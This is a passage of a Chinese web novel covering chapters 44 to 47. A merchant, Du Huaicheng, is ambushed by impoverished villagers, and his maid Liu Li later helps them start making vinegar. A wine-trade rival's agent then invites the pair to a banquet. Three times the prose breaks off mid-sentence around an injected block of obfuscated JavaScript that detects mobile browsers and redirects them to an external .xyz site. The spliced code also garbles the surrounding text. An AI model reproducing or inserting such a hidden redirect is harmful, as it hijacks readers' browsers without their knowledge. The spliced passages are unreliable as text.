杜二爷不为所动，她那点粉拳根本没放在眼里，“这里江岸泥泞，小心别把绣鞋陷进去。”船家就在前面候着，腿肚子上沾满泥点，再看杜淮琤一双新皂靴也满是泥浆，只得闭上嘴。到了干燥地面将她放下，一看脸，红得跟熟虾似的。杜淮琤心里好笑，知道她面皮薄没再逗弄，刚才那一把纤腰掂着实在没分量，回头得多喂点。 在船上看江岸风景秀丽，真上岸走起来，才知道山路崎岖。船家走惯了山路，身形轻巧，在前头引领二人。开始依稀还有路，渐渐地山石间几乎无路可寻，杂草丛生，还夹杂着可疑的窸窣声。偏那船家脚下不停，刘梨心里叫苦，不敢懈怠，紧紧跟上。 身后的江岸已经彻底看不见了，船家说的泉眼还没见到影子。杜淮琤心生疑窦，不动声色道：“老丈，走了这半日，怎么还没到地方？” 船家回头道：“不远了，不远了，老爷看到前方凉亭没有？就在那儿！”顺其所指望去，果然见到一个六角凉亭隐在枫林中。靠近了，才看到是个已经破败了的亭子，阑干倾颓，亭里亭外生了半人高的杂草。 杜淮琤停住脚，右臂护刘梨在身后，厉色问道：“你是什么人！”刘梨不明所以望向杜淮琤，见他面色冷凝，心里跟着紧张起来。 原本佝偻着腰身的船家站直了身子，一把扯掉顶上的箬笠，喊道：“大家伙都现身吧，看我把谁请来了！”顷刻间，草丛里现出不少人影，有的双拳紧握，有的操着家伙，个个面色凶狠。 杜淮琤环视一周，此处地势崎岖，看不到船队，如果只身一人冲出去也不难，可要护得刘梨周全，不得不有所顾忌。再看这些人虽然带了戾气，但都是草鞋泥腿子，不像穷凶极恶的贼人，或可徐徐图之。 “钱家兄弟，你看可是这人？”船家冲人后喊道。有人拨开人群走上前来。刘梨看清来者面貌，大吃一惊！徽吉城内，就是这汉子在陆家店前举幡闹事，差点刺了自己。她清晰记得男人的面貌，想不到和这些人竟是一伙的！忆起他当日的癫狂，刘梨打了个寒噤。杜淮琤有所觉察，背着手不动声色地贴近她。 “就是他！那天我看到他进了杜家酒舍，老掌柜亲自迎进去的。”钱清高声喊道。 “你是杜家什么人？速速报上名来！”船家显然是带头的，冲着杜淮琤喊道。 “不才正是杜家当家，杜淮琤是也。”杜淮琤不卑不亢，声音里不带一丝惧色。 众人闻得杜淮琤自报家门，个个面色迥异。领头的船家笑道：“得来全不费工夫，竟是条大鱼！你倒不失为一个好汉，全不隐瞒自己的身份。” “大丈夫行事磊落，在下只是如实相告罢了。不知诸位英雄请杜某至此，所为何事？” “少来这套！你们这些有钱有势的大户，勾结官府欺压百姓，逼得我们走投无路！今天你落在我等手里，必叫你吃不了兜着走！”钱清道。身旁众人听罢，纷纷上前一步，将二人围得水泄不通。 “这位壮士何出此言？杜某做的是本分生意，向来安分守己、恭顺守法，何来逼迫他人之说？” “你们大户哄抬粮价，还勾结官府提高青苗税，咱们小酿酒作坊如何吃得消这些？你等又趁此机会落井下石大肆吞并，酒市上十之八九的铺子全易了主，不是姓‘陆’就是姓‘杜’。大伙被逼得没活路了，你还说你没有迫害百姓？” “杜家几百年基业，一直信守‘一毫一厘不苛取’，虽不曾兼济天下，但也是富而好礼之家。吾辈办事业，必先正心诚意，实事求是，利以义制、以义取财。酒市不少铺子闭店歇业，杜某也有所耳闻。有几家铺子找上我，杜家也出了合理的价格，他们自愿典卖予杜家，并无逼迫之说。至于勾结官府哄抬物价这种事，杜某更不屑为之！” “你是念过书的，大道理我们说不过你。但今日既落到我等手中，可不能凭三言两语就饶过你！”人群中有人忿忿道。 立刻有人应和，“是啊，废话少说！先挫挫这小子的锐气！”说罢，几个手持铁器的汉子围拢上来。 “慢着！”杜淮琤横眉扫过众人，朗声道：“诸位今日非要置在下不利，杜某无话可说。只我这丫头一介弱质女流，各位可先放她归去，杜某自当任尔等处置！” “二爷！”刘梨心惊，拥住杜淮琤胳膊，一双翦水秋瞳渐渐有了湿意。 “你想叫这丫头回去搬救兵，没门！今天你们一个都跑不了，大伙上！”钱清口中发狠，率先向二人冲来，杜淮琤一脚踹倒他，双拳并打退两个。这些人虽然有些狠劲，到底是普通乡民，杜淮琤交手几人，夺过一杆长棍。只是他们人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021170|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数众多，打趴这几个那边厢又有人上前纠缠，杜淮琤顾忌身后刘梨施展不开，免不了挨了几闷棍。 “住手！住手！”一位白发老者跌跌撞撞跑上山，混乱中哪里有人把他的话听进去？老者急得干瞪眼，情急下劈头给了头领一柺棍，头领懵了，看清来人面目忙喝住大家。 “族、族长，您老怎么来了？”头领捂着脑袋，结结巴巴问道。 老者吹胡子瞪眼，骂道：“你还认得我这个族长？你们今天这一出是要将我钱氏一族全跟你们陪葬吗！杀人越货，这也是钱氏子孙干的事？” 话刚说完，钱清“扑通”跪在老者面前，身形魁伟的汉子，出声竟带了几分哽咽：“族长，是我撺掇兄弟们这么干的。我爹死的冤枉，衙门自古朝南开，有理无钱莫进来，官府根本没我们庶民说话的地方，我这也是被逼的没办法了！” 老者闻言脸色动容，扶起钱清道：“我知道你心里苦，可是杀人偿命，你这么干难道不要命了？” “只要能为老父报仇，钱清死不足惜！” 族长气得直敲拐杖，“混账！你不爱惜自己的命，那他们怎么办？”老者指了指周围的乡民，“他们都是有家有口的，今天帮了你，就是杀人的帮凶，这要是治了罪，你叫他们的父母妻儿怎么办！” 钱清心里大恸，原只想杀人泄愤图个痛快，未曾意识到自己的莽撞会害到钱氏族人，心里骇然不已。抬头向四周的兄弟拱了拱手，说道：“钱清一人做事一人当，绝不连累诸位乡邻！我现在赤条条无牵挂，解决了这个杜家老爷，钱清自去衙门投案！” “糊涂！这些大户人家是你能惹得起的么？你以为一命抵一命就能解决争端，殊不知今儿事情闹成这样，我们整个钱氏家族都要跟你蒙难！要是迁怒起来，怕是还要再搭进去几条命！” “这……”钱清一时语塞，众人也都心思沉重。今天大伙设这个套，众目睽睽下把杜家二爷诱骗至此，只是一时冲动想帮钱清出口恶气，没料到演变成现在这样。这会冷静下来细想若真出了事，衙门只要稍微查问就能知道此事跟钱家渡脱不了干系。 “难不成钱清兄弟受了冤屈，还要跟这位杜爷道歉，再好言好语送人回去，乞求他不要报官不成？”头领嘟囔道，脑门上立刻又吃了一柺棍。 杜淮琤听了这半天，心里大概有了底。他扔了长棍，上前向白发老者见礼道：“在下乃白水杜家杜淮琤，见过老丈。” 钱家族长忙回了礼，“不肖子弟，冒犯了贵人，请杜爷大人大量，不要怪罪他们。老朽这就领他们回去，族法处置！” “老丈息怒，今日之事乃是误会，杜某并不放在心上。只是此事还有些蹊跷，请诸位详尽告知在下，以解我疑惑。” 族长见杜淮琤没有追究的意思，大大松了一口气，随即叹道：“杜爷有所不知，我们都是钱家渡的乡民，临江而居，靠水吃水，世代捕鱼为业。祖上曾传下过酿米酒的手艺，不忙的时候大伙也会酿酒贴补贴补家用。这钱清的父亲原也是我族人，最擅酿酒，早年受了伤病，不便江上作业，索性上岸去七里乡开了间酒坊。钱清从小没娘，父子俩相依为命专心做起买卖。起初生意倒是红火，近年粮价疯长，官府更是巧立名目征收杂税，除了几个大作坊，别家的生意都冷清不少。钱清家的酒坊被挤兑得关了门，没卖几个钱就给盘了出去。钱老爹本来身子就不硬朗，接连的打击，实在熬不住于上个月去了。杜爷，钱清是个纯良的人，他今天做出这样的混账事是痰迷了心窍，您千万别和他计较！”族长仍是不大放心，差点出人命的事，这杜爷当真一笑而过？ 原来如此，怪不得那日在徽吉街头这汉子一身缟素，背后竟有这样的凄惨境遇。杜淮琤了然，杜家这样的大户也被青苗税压得喘不过气，那些小作坊受的冲击肯定更大。敏锐的商家察觉不对劲早早脱手转行，钱清这样赖酒为生的人家只能无奈破产了。 正寻思着，族长开口道：“这会临近晌午，如若不嫌弃，小老儿恳请杜爷到村里用顿便饭，权当给您压惊赔罪。” 杜淮琤本欲谢绝，转念一想，正好借此看看当地小酒坊的境遇，便点头应了这顿邀请。又嘱咐一个村民回船上报信，才安抚地朝刘梨点点头，随众人前往钱家渡。 45. 四十五 昔酒苦酢 这厢族长携全族盛情款待杜淮琤，宾主相让，刚用上茶点，程锏便带人赶到，将设宴的族长家团团围住。全身散着寒气的男人往那一站，毫不掩饰眼中迸发的戾气。钱氏族人心虚地低下头，任谁都看出这是个手上沾血的主儿，若刚才真害了杜当家，这会恐怕已被这煞神屠戮而死了。 杜淮琤感受到座间的不安，低声让程锏放轻松。 “属下失职，让二爷受惊了！” “无妨，是我不谨慎。误会一场，不必挂在心上。” 老族长脸色一阵红一阵白，直说请用茶，先告罪茶叶不好，又催促厨下杀鸡宰羊，不得慢怠贵客。杜淮琤不想他窘迫，提议去看看钱家渡的酒坊。 钱家渡是个小村子，村内并无成气候的酒坊，各家不过零星酿点米酒。族长领众人来到自家后院，院里有石磨一盘，露天的蒸灶一台，另有连排的三间矮房，西首是蒸酿房，中间是谷仓，现下不过堆了些杂物，并不见粮食，右首是储酒室，几口灰扑扑的大缸，孤零零地摆在墙角。 眼前败落的样子，让族长面上有些讪讪。老人摩挲着拐杖，说道：“这酒坊弃置多日，已经许久没用，让杜爷见笑了。” 杜淮琤摇摇头，看着中间的谷仓，皱眉道：“谷仓放在此处，如果蒸酿房不小心走了水，怕是不好。” “现在粮食金贵，实在没有余粮酿酒。谷仓放着也只是做做样子罢了。”族长摇头叹道。 “何止酿酒，就是平常家里吃饭也成了难题。不少乡邻只能靠苞米薯类果腹。”钱清在旁怨道。 “是啊，那些商家囤积居奇，哄抬米价，与官府狼狈为奸，根本不管咱们百姓死活！”说起近日的遭遇，众人俱是义愤填膺，忿忿不平。 刘梨想到族长刚才吩咐杀鸡宰羊，这样一顿饭，怕是尽了全村的努力。心里涌起酸涩，背过众人步入空阔的储酒室。鼻尖飘入一股酸味，刘梨拉过钱家大嫂，指着屋角几口缸问：“这里头装的什么？”钱家大嫂低声说道：“是酿酒剩下的酒糟，老爷子舍不得扔，混了谷糠和麸皮，说是拿水泡过喂牲口吃。放了许久，一直忘了理会。” 刘梨掀开缸盖，更浓重的酸味溢满室内。缸边放着半只匏瓜，刘梨不及多想，舀起一点倒在手心尝了尝。钱家大嫂惊呼一声，引得大伙纷纷侧目。 擦擦手，刘梨笑着问道：“大嫂，家里可有醋？”钱大嫂顶着一头疑惑，被问得莫名其妙。“可是城里的新鲜玩意儿，我们乡下人未曾听说过。”看她的神情，刘梨笃定了心中的想法。初入杜府被指派到厨房帮工，那时她就发现这个世界貌似没有“醋”。依稀记得“醋酒同源”，两者酿造有许多共通之处，且制醋的成本比酿酒低廉，如果真能改进醋的酿造工艺，说不准能为钱家渡村民指一条生路！ “梨丫头？”看到女子因兴奋涨红的小脸，杜淮琤皱紧了眉头，这丫头，不明白不要乱吃东西吗？ “二爷，我有个法子或许能帮助大家渡过难关。”又补充道：“一个蠢念头，不知道得不得行。”她没有信心，关乎一村人的生计，她怕像杜淮琤说过的那样，燃起希望又无疾而终，迎来更大的失望。 “还没试怎么就知道是蠢念头？你且去试，有什么我给你担着。”我给你担着，杜淮琤说得云淡风轻，刘梨明白他话里的分量。 感激地点点头，有了支持和信任，刘梨精神振奋，撸起袖子道：“那二爷和族长外边稍坐，待会请尝尝我的手艺。” 大伙坐回中厅面面相觑，不知杜爷身边的这个丫头葫芦里卖的什么药。杜淮琤坐在主位，轻轻撇去漂浮的茶末，不过是粗糙茶叶泡制的茶汤，被他喝得仿佛上品香茗似的。不会儿后厨飘来阵阵异香，酸溜溜的，引得众人食欲大开。 菜肴依次端了上来，先是一盘盐水河虾，虾籽饱满、虾黄肥腴，看着就馋人，只不过杜淮琤惯常吃的河虾多用爆炒、油炸的做法去其腥味，这么简单的做法倒是没见过。上菜的钱婶给每人端上一碟黑黢黢的汁水，上面还叠了一层姜丝。“刘姑娘说鲜虾要沾了这料汁一同食用，请诸位尝尝。” 席上有人拿筷子蘸了料汁入口，“婶子，这酸溜溜的是什么东西？”钱婶不好意思地看看大家，开口道：“就是，就是老爷子缸里的黑水。”见有人皱起眉头，马上说道：“刘姑娘备菜前自己喝了一大碗，试过没事才给大伙儿上的，别担心。” 杜淮琤忍俊不禁，这胆大心细的做派，是梨丫头的风格。举起筷箸夹了只虾，沾了沾跟前的料汁，入口酸香，和咬开的虾肉混合在一起，恰到好处地掩去腥味，又将河鲜的鲜香提出来，层次丰富多变，确实奇妙，立刻又夹了一只。众人见他吃得优雅，也跟着尝试起来，入了口眼睛发亮，个个赞不绝口。 “河鲜寒凉，快倒上酒给客人佐菜。”族长趁机吩咐道。 又上了几盘当地的时蔬、肉菜，都是家常的菜式，胜在食材新鲜。另有两道醋溜白菜、糖醋排骨大伙也吃出酸味，确实别具风味，一时席上宾主尽欢，气氛融融。 末了刘梨亲自端了一盘鱼上来，囫囵的整条鱼，将鱼头对着主位，笑道：“水上人家无鱼不成席，吃了我做的鱼，祝大家年年有余、岁岁安康！”杜淮琤看她额上出了薄汗，脸上洋溢着快意，心里也欢喜。亲自将鱼头转向族长，“老丈岁岁安康，快尝尝这鱼。”族长让了一回，拗不过才夹了一箸。鱼肉入口咸鲜，微酸的味道恰到好处地压制住鱼的腥气，将鲜味衬托得更明显，待鱼肉咽下，那鲜味唇齿留香，令人迫不及待地再来一口。众人见族长不发一言只顾吃，也纷纷夹起鱼肉放进嘴里，尝过后交口称誉。 “这几道菜味道独特，我等竟从未享用过，杜爷手下的人好本事。”刘梨笑道：“是您老的醋好。”族长端起面前的碟子，指着问：“姑娘说的是这个？这是小老儿弄着玩的，谁想到、谁想到还有这样的妙处？”席上众人纷纷附和。 “你说的这个‘醋’，跟大家好好说道说道。” “回二爷，碟子里是族长用酒糟酿出来的调味汁，酒糟掺入谷糠、麸皮经过二十天左右的发酵，就变成现在这样酸香的味道。我家乡管这个叫‘醋’，用它烹制食物，可以去腥去腻、消食开胃。春季伤寒多发的时候，拿醋在屋内蒸熏，还可以驱邪避秽、预防疫病。”一番话族长听的似懂非懂，想到这么好的宝贝差点让自己喂了牲口，惊出一身汗，讪讪道：“白水城不愧人杰地灵，姑娘博闻多识令我等大开眼界。杜爷福泽仁厚，身边得这么个伶俐人相伴。” “老丈谬赞，杜某也是才知晓这丫头如此伶俐。”转头道：“我也是头回听说醋，不知是怎的写法？”说话间一双眼似笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021171|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非笑锁住刘梨，看她作何解释。 刘梨拧了拧眉，手指沾上茶水，边写边斟酌道：“我家乡那边常道‘醋酒同源’，都说醋是由酒转变而来，故左边取‘酒’的一半‘酉’字，右边的‘昔’字拆解开正是‘廿一日’，正应了酿造的天数，左右刚好合成一个‘醋’字。” 众人盯着桌上的字出神，心里各有盘算。 “市面上可没见过这样好的东西，若是做得了卖出去，也是一笔好进项。”有脑筋灵活的立刻想到，低声说了出来，便有族人大声道：“族长有这样的宝贝，怎不早点拿出来，竟独个儿藏着。” 族长连连摆手，“我也是偶然得之、偶然得之，哪有藏着一说？”又转向刘梨道：“姑娘既熟谙醋的调味之法，还求请不吝赐教，将酿造法传授我等，钱氏一族感激不尽。”说罢长揖便拜，刘梨忙扶住，“非是我藏私，酿造法我实在不会，惭愧、惭愧。” 钱清上前扶住族长，“族长莫急，您偶然间便能酿出醋，咱们慢慢摸索，多多尝试，总能找出法子来。”众人也应道，“是啊，咱们钱氏族人同心协力，定能做成！”“总归没了别的活路，不如族长带着大伙儿拼一回，挣出一条生路来！” 又听那清越的女声轻道：“醋的酿造工具与酿酒相似，这些村里都是现有的，如果去各处酒坊收购弃用的酒糟回来酿制，想必成本能低廉不少，有了现成的酿制条件，慢慢将此物在大庥国传播开去，不失为一个好的营生。我刚才将醋的调味烹制法都告诉了各位婶子，既酿得了醋又会烹饪，我相信钱氏必定振兴有望。”老族长抬起头，第一次仔细打量面前的姑娘，年轻的脸蛋神采昳丽，一双明净的眼睛大大方方凝视自己。她方才一番话正是自己心中所想，如果此物酿造成功，或许就可改变钱家渡如今窘迫的境况。“姑娘所言正是老夫所想，如果能将此物制成，解我等困窘，姑娘便是我钱氏老老少少上百口子的恩人！” “老丈言重了，刘梨只是将所知道的全盘托出。机缘巧合，真正帮到忙的还是您自己。可惜我不知道详细的酿造方法，再帮不上什么大忙。” 一旁钱清忙道：“姑娘不必自谦，姑娘给我们指点了方向，其他细枝末节我等自会摸索，别的不说，酿酒制曲方面的活儿，我钱清也是把好手。前次冒犯了杜爷和姑娘，险些犯下大错，小人后悔不迭，以后但凡用的上我的地方，钱清万死不辞！”说罢便朝二人跪拜下去，钱清一番话说的真切，和他一起的弟兄们都齐齐拜下去，神色端肃。 杜淮琤不知何时站到刘梨身边，一把捞起钱清，叫众人请起，又道有需要杜家相助处，尽可去城里杜家酒舍相议。两下也是不打不相识，才有了这番奇遇。 辞别钱家渡村民，杜淮琤携刘梨并程锏一行回船。回程的路途轻松许多，想到能助村民渡过难关，刘梨整个人懈怠下来，身体懒懒的。 “什么时候去梨儿的家乡看看，想必民情风俗自是与别处不同。”刘梨听出他话里探究的味道，实在疲于应对，合上眼睛假寐。 男人的目光不曾离开那人半分，深藏的心意又开始升腾起伏，自己早已沦陷，即便不能，仍不由自主陷入泥淖。族长恭维他身边有伶俐人相伴，他知道这时光不过是昙花一现罢了。心不受控制地沉沦，纵使情难自禁，怕也由不得一生一代一双人。 46. 四十六 古瓜洲渡 船帆鼓胀，一路向东行进，终于到达瓜洲地界，船队下锚停船。瓜洲是连接四方水路的重要埠头，集聚了来自天南海北的商贾。沿江停泊着众多商船，甚至还有能进行海上运输的巨轮，现今的大庥国已初备海上贸易雏形，时不时有商船从海外带回各种各样的奇珍异宝，幸运的因此一夜暴富，成为一段传奇；不幸的葬身鱼腹、客死异乡，从此湮灭无声。 杜家的迎亲船队声势浩大，停泊在帆樯如云的瓜洲码头依然引人瞩目。按照约定，杜淮琤将在这里集结十八道船队，一齐向金陵进发。 来瓜洲前众人又随着杜淮琤巡视过几处杜家产业，果不出所料，每处杜家酒舍附近都有陆家分号，对方摆明架势拆杜家的台，显然来者不善。 杜淮琤的情绪似乎不受影响，兴致高昂地领一众随员进城。 “程锏，咱们跑一场。落后进城的那个晚上出酒钱！” “哈哈，只怕二爷今儿要破费了！” 两位儿郎骑马并头，同样的器宇轩昂、意气风发，一声雁鸣凭空响起，二人几乎同时策马扬鞭，绝尘而去。 只觉得两旁的景物迅速向后倒退，风吹得几乎睁不开眼睛，枣红马不愧神驹，速度不减的同时轻巧避开拦路树木，奔驰的畅快抵消了杜淮琤长久窝在船上的郁郁，心中块垒在马蹄声声中散了个干净。 “吁——”缰绳收紧，马儿前蹄跃起，一声长啸，停在瓜洲古城下。枣红马尚有些意犹未尽，甩起尾巴前蹄刨地，喘着粗气。 “远远就瞧见二爷一马当先”，稍晚刘梨乘坐的马车也赶到城下，“程锏晚上的东道跑不掉了。” “说得对！”杜淮琤在马上道，“见者有份，晚上的席面也算上梨丫头。” “愿赌服输，也罢，今晚程某做东，静候二位光临。” 杜淮琤看后面的车队集结完毕，又道：“好了，进城后可不能恣意跑马，免得伤到路人。” 适逢中秋，瓜洲城里张灯结彩，门面彩楼俱披挂起来，使得古城充满节日的喜乐气氛。杜淮琤看向对街的陆家酒舍，寸土寸金的闹市口陆家也能立起偌大的门脸，不啻为强劲的对手。 “有趣。”杜淮琤握着马鞭，有一下没一下地拍在掌心。 瓜洲分号的掌柜是位年纪不大的中年男子，也是杜淮琤掌权后亲自提拔上来的。杜淮琤担任家主后酒坊酒舍多沿用老人，重新任命的不多，这位陈掌柜是一个。 “二爷，帖子是今早送来的。” 杜淮琤接过请帖看罢，叹道：“看来人家早就摸透了我的行踪，盛情难却啊。”转头对刚下车的刘梨道：“丫头，打扮打扮，今晚陪爷赴宴。” “怎的我也要去？”刘梨抗议。 “因为”，杜淮琤晃晃手中请柬，“帖上有你的名字。” 请柬上邀请杜淮琤和刘梨于某时某处赴宴，落款只一个“陆”字。众人都晓得这“陆”代表的含义。 “二爷，这身衣裳是不是太招摇了？婢子还是回房换身再来。”这是杜淮琤亲自为她挑的衣裳，习惯了布衣饰体，这身锦缎衣裙穿着实在别扭。 “别换，这样很衬你。”刘梨一袭月白百迭裙，外罩鹅黄缠枝莲花罗褙子，素净的一张脸，未施粉黛却已娉娉婷婷，婀娜动人。“既特意下帖请了你，总不能太草率，叫人小瞧了去。”杜淮琤辩解道，眼睛始终没离开她。 那柔软的鹅黄被中秋月镀上一层金辉，美得不真切，仿佛是月华中跌落的仙子——可不是从月华中“跌落”的么？刘梨私下琢磨过，能够穿越至此，多半是现世那晚的中秋圆月作祟。那夜的月亮硕大森冷，周遭泛着红光，说不出的诡异。刚来那会大庥还是暮春时节，这会已逢中秋，算来到这个世界已经过了大半年，“那个世界”还好吗？可有人寻过我？可有人为我担心过？ “又发什么呆？”杜淮琤今晚没有骑马，一驾精美的马车穿过热闹的街道。外面人声嚷嚷，车里的女子陷入离索思绪，距自己仿佛隔了一层迷瘴。 “没有，想起一些往事。”刘梨笑着掩饰。 “呵，小小年纪，尽说些老气横秋的话。” 他今晚的服饰与刘梨倒是般配，一身月白锦地团花襕衫，衣领袖口均用金丝绣成缠枝莲纹，剪裁合体，更衬着男子长身玉立、英气逼人。 九鹿儿在画舫上远远看见这对璧人，心底先暗暗叫了声好。她也是走南闯北见过世面的，如此妙人可不多见。 陆家画舫停泊在瓜洲渡另一处小港口，远离喧嚣，颇有遗世而独立的意趣。船上装饰青幔竹衣，与别处富丽堂皇的画舫完全不同风格，显示出主人的清雅品味。 “来者可是杜家二爷？”未见其人，已闻其声。竟是个女子的声音。侍女打起竹帘，一位富丽妇人迎出船舱。满头青丝梳成华髻，鬓间一支錾金点蓝簪，映得面容艳丽无比，一双凤眼媚意天成，却又凛然生威。 “依菲姐！”可不正是依菲?刘梨兴奋地上前一把抱住，“依菲姐，小梨想死你了你知不知道？你怎么也在这里？有没有人为难你？”刘梨激动地语无伦次，自己都没意识到已经落下泪来。 九鹿儿吃了一惊，很快镇定下来，轻轻拍拍女孩后背，安慰道：“姑娘怕是认错人了，贱妾名唤九鹿儿，是这舟子的主人。今晚正是我邀请二位莅临一同饮酒赏月。” 杜淮琤上前扶住刘梨，刘梨仍是不可置信地打量面前的女子，面容确实和依菲姐一个模样，只是年纪稍长了些，气度也略有不同。刘梨胡乱揩去泪水，施礼道：“夫人长的很像我一位朋友，是我认错人了。对不起。” 九鹿儿倒不在意，这女子性情单纯、憨直可爱，难怪惹人上心。安抚过刘梨，目光移到杜淮琤身上，“杜家二爷少年才俊，业内诸前辈对您多有赞赏，今日一见，果然名不虚传。” “夫人谬赞，杜某不过背靠祖宗荫护罢了，倒是陆家半路杀出，以迅雷之势在酿酒业打下半壁江山，逼倒行内不少老字号，实在令杜某钦佩。”杜淮琤脸上挂着笑，说出的话却是意有所指。 九鹿儿不以为意，笑道：“别左一个夫人，右一个夫人的，把我都叫老了。唤我九鹿儿便是。二位贵宾，里面请。”说毕向舱内展开一条藕臂，神色颇有几分林下之风。 舱内早早布下一桌精致酒菜，只安了三副筷箸。三人分宾主坐定，九鹿儿亲自斟酒，刘梨推辞不过，也饮了两杯。这酒柔雅绵甜，带着沁人的醇香。 “好酒，想不到陆家还真有一份好手艺。”杜淮琤单手持杯，仪态风流。 “能得杜爷赏识，妾身真是三生有幸。来，我自饮一杯聊表谢意！”说完一干而尽。 “只是……杜某不明白，陆家既有此酒方，为何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16021172|178529||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卖的‘玉壶春’偏偏是杜家‘上品白猿’的味儿？”杜淮琤单刀直入，注视着九鹿儿的表情。 “哦？真有此事？”九鹿儿面不改色，叹道：“天下之大，无奇不有，如此说来，你我两家还真有几分缘分了。” 杜淮琤料到她不会承认，并不多言，端起酒杯道：“既有如此缘分，你我更要多饮几杯，杜某先干为敬。” “这杯酒九鹿儿定得饮才是。刘姑娘可也得陪一杯哦。”边说边给刘梨斟酒。刘梨一直关注着她，实在是太像依菲了，企图从她的一举一动中找寻故人行迹。听得她劝酒，推辞不过，就着九鹿儿的手灌下一杯。这酒虽绵柔，几番下来，酒劲也开始慢慢升腾，脸上泛起红霞，黄裳芙蓉面，醉态媚人。 不知从什么方向传来靡靡乐音，在氤氲江面回荡。刘梨扶住脑袋，笑问道：“夫人，我只是个小小丫鬟，为何你的请柬上会有我的名字啊？” 这问题问得不甚高明，杜淮琤心底也有此惑，正好借着刘梨口问了出来。 “姑娘不说，我都差点忘了。来人，把东西取来。” 侍者随即奉上一方小锦盒。九鹿儿递到刘梨跟前，示意她打开盒子，里面躺着一只足金累丝双雁多宝镯。杜淮琤神色一凛，眼皮微不可察地跳了跳。刘梨醉意上头，后知后觉说道：“好漂亮的镯子，惯常见过錾凤纹、錾牡丹的，錾大雁的倒是少见。” “姑娘既是喜欢，那我这东西就选对了。”说着拿起镯子就要往刘梨腕上套。 斜刺里伸过一只手，扼住刘梨的手腕。杜淮琤薄唇紧抿，一双眼冷冷睨向久鹿儿。 “夫人的礼太重，无功不受禄，如此大礼怎好收下？”又转向刘梨道，“你也不长长眼睛，这‘雁’岂有随便收的道理？” “不过是一只镯子，我与姑娘投缘，区区薄礼聊表心意罢了。”杜淮琤攥回刘梨的手，也不松开，起身道：“今日多谢夫人款待，只是杜某还约了别的客人，叨扰多时，就此别过。”说完不待她回应，转身就走。 杜淮琤知道再待着也套不出她话来，九鹿儿虽然做派不凡，他却认定她不是陆家真正的主儿，留下也是无益。 九鹿儿忙追出来，“杜二爷少安毋躁，放过河灯再回不迟。” 出了船舱，船头早有人备下河灯候着。不大的桌案上放满填了色的花灯，引得刘梨忍不住停下脚步。放河灯是大庥每年中秋的习俗，人们在河灯上写下心愿，让灯随江河顺流而下，以此企盼诸事顺遂、厄运退散。 九鹿儿捧了一只莲花灯，仪态万方地递予杜淮琤。“杜二爷想在灯上写些什么？” 杜淮琤越过她，在案上另取一盏锦鲤灯，手腕翻转，河灯旋即飞出手心，稳稳当当落在江面，烛火依旧燿然。 “二爷怎么什么字儿都不写？可惜了一盏好灯。”刘梨惋惜道。她手上捧着一盏蓝蝶灯，烛光把蝶翅映照成荧荧的星光蓝。取过毛笔蘸饱了墨，思量一番才落笔，只写了一个“家”字。 家。 江风吹散鬓边一缕发，刘梨捧着灯痴痴发愣。 “给我吧。”大手接过蓝蝶，同样放出去，不偏不倚正落在锦鲤旁。两只烛火在黝黑的江面紧紧依偎，仿佛随时就会被江水覆灭。目光紧紧追随河灯，看着它们流到远处，汇入那聚成一片的灯海烛辉中，和所有人的心愿融合在一起。 47. 四十七 百舸会师 “二爷此行可有收获？”晚上赴宴程锏被留下，一直关注着街面上动静，杜淮琤的马车一到，他就迎上来了。 杜淮琤摇摇头，将沉睡的刘梨安于床榻，示意程锏出去说话。今日下船就没来得及修整，晚上又被劝了好几杯，刚才在马车上就睡着了。 “九鹿儿背后肯定另有高人，而且此人对杜家了若指掌。” “二爷的意思……” “祸起萧墙。” 程锏对杜淮琤的话并没表现出多少惊愕，府里出了“内鬼”是他意料中的事。“二爷可有怀疑的对象？” “目前还不敢下定论。只是我不明白，九鹿儿今夜大张旗鼓地宴请我和刘梨，目的何在？如果仅仅是挑衅杜家，未免幼稚了些。” “是啊，只是宴请二爷您我还能理解，可是为什么要牵扯到刘姑娘？” 杜淮琤想到那只双雁金镯。 雁，比翼双飞，忠贞不渝，本作为纳采之礼，九鹿儿送这个，意欲何为？ 今天这番动静对陆家无益，反而主动暴露了自己，所作所为实在莽撞。杜淮琤揣测，今日中秋晚宴，怕是九鹿儿背着她主子任性而为。她的目的……就是刘梨！这样，就可以解释为什么请柬上会有刘梨的名字——原来今晚自己才是陪衬的那个。她到底想对刘梨做什么？ 想到此，杜淮琤心里充满不安。“程锏，帮我查些事。”程锏领命而退。杜淮琤心中放心不下，又转回房内。 床榻上的女子睡得正沉，双颊透着醺醉的红晕，在梦中展开一朵笑颜。杜淮琤有些许失神。 “我不会让任何人伤害你的，我发誓。”男人的声音掷地有声，透出不容置疑的坚定。 